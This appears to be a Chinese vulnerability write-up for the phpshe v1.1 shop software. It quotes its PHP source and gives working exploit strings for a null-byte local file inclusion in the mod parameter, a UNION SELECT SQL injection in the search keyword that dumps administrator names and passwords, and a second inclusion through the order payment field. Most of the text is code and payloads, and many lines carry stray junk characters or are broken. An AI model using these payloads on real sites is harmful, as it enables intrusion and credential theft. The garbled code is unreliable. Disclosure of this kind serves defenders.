phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
" g1 |9 R* v- M$ Y/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
$ g. d6 E6 i( P7 F1 M1 A  c* H; \0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
; |8 `) D7 y: w7 W" z9 k2 N!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
! H& h  s: q1 @$ @( ?/ \) {!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% _  @8 ?; v7 k2 u7 B# _( U}
else {
4 }- Y' _8 H1 W* h  {- |) `4 @!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
- g. T0 H; \5 q# b4 F/ h' ~}
6 r& H  Q" Y+ R3 H( Zsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
1 _% \+ v  p% X  K' M!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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0 }2 n4 q4 }" V! b. ^, I& i//首页文件
1 n  Z* o" c6 e<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
' t3 Q" ?' c6 T! q4 e8 q+ Nurl路由配置
* q1 |6 z; j, r0 c$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
, u' D" O) u7 g, H$ k$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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<code id="code2">

//product.php文件
7 U0 W0 F3 Y1 b) a. l9 tcase 'list':
% g- N/ D7 }  O/ L# Y  x3 k$category_id = intval($id);
; d/ c/ I* I  Z$info = $db->pe_select('category', array('category_id'=>$category_id));
/ E" ^. g0 a- L, [1 n: H/ G//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
' s, x5 w( V! ]/ fif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& S/ A! e, U; J% [}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
& [% M# n1 o0 Vif ($_g_orderby) {
' F0 a/ s4 J6 E7 k$orderby = explode('_', $_g_orderby);
/ O" O. ~/ K7 X, K; _6 b# d$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
2 b+ u# }6 N- m& A( o7 b2 S}
else {
& ^6 ?4 S- R. a  O% [% X% X3 U$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
6 V2 h2 a& O0 R- s; ?: z. H$product_hotlist = product_hotlist();
: U% P6 S8 c, ?6 Q; R: S//当前路径
$nowpath = category_path($category_id);
: h+ ?( x6 W/ y; Y( W" [- @$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
* G1 b( Q2 R8 l! n6 Rpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
. ]( p# y$ k2 m- H//处理条件语句
" `& I* B# n9 n. H2 K! Y$sqlwhere = $this->_dowhere($where);
( S/ V! M& n+ E8 X/ Yreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
' c( F3 ~4 |' A1 t* Y2 Sproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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4 N0 I& W4 L# Z# F7 m- G, L0×03 包含漏洞2
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$ g) J5 _# ^$ z$ W$ b6 D' N" Q<code id="code3">

//order.php

case 'pay':

% T0 y9 X: P% e$order_id = pe_dbhold($_g_id);

3 o0 ]4 l% z6 J0 H8 a+ w$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

7 f' ]7 w! m* m$ y. b( e5 o( _$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

6 A! R6 r$ x% W% @& }5 ]$ H2 [if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

; R2 U( M  h$ _/ N}

* K8 o3 Z+ R* A9 P$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

6 }% H  p) D, A, G% ~/ I3 ?) w% nif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 x) K% g  k! j6 j9 L7 I$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

1 r/ [% T: {; q; L* S+ Rforeach ($info_list as $v) {

; N- w9 x9 f1 O9 `7 P$order['order_name'] .= "{$v['product_name']};";

}

# V6 m) z' o. Secho '正在为您连接支付网站，请稍后...';

/ d# W' G& Q: \4 j' i/ rinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 R& c( n- A& S1 w}//当一切准备好的时候就可以进行"鸡肋包含了"

2 ]8 X: n( G/ E1 l0 h/ velse {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

3 \9 C& f& P; X/ R& W' d3 Kinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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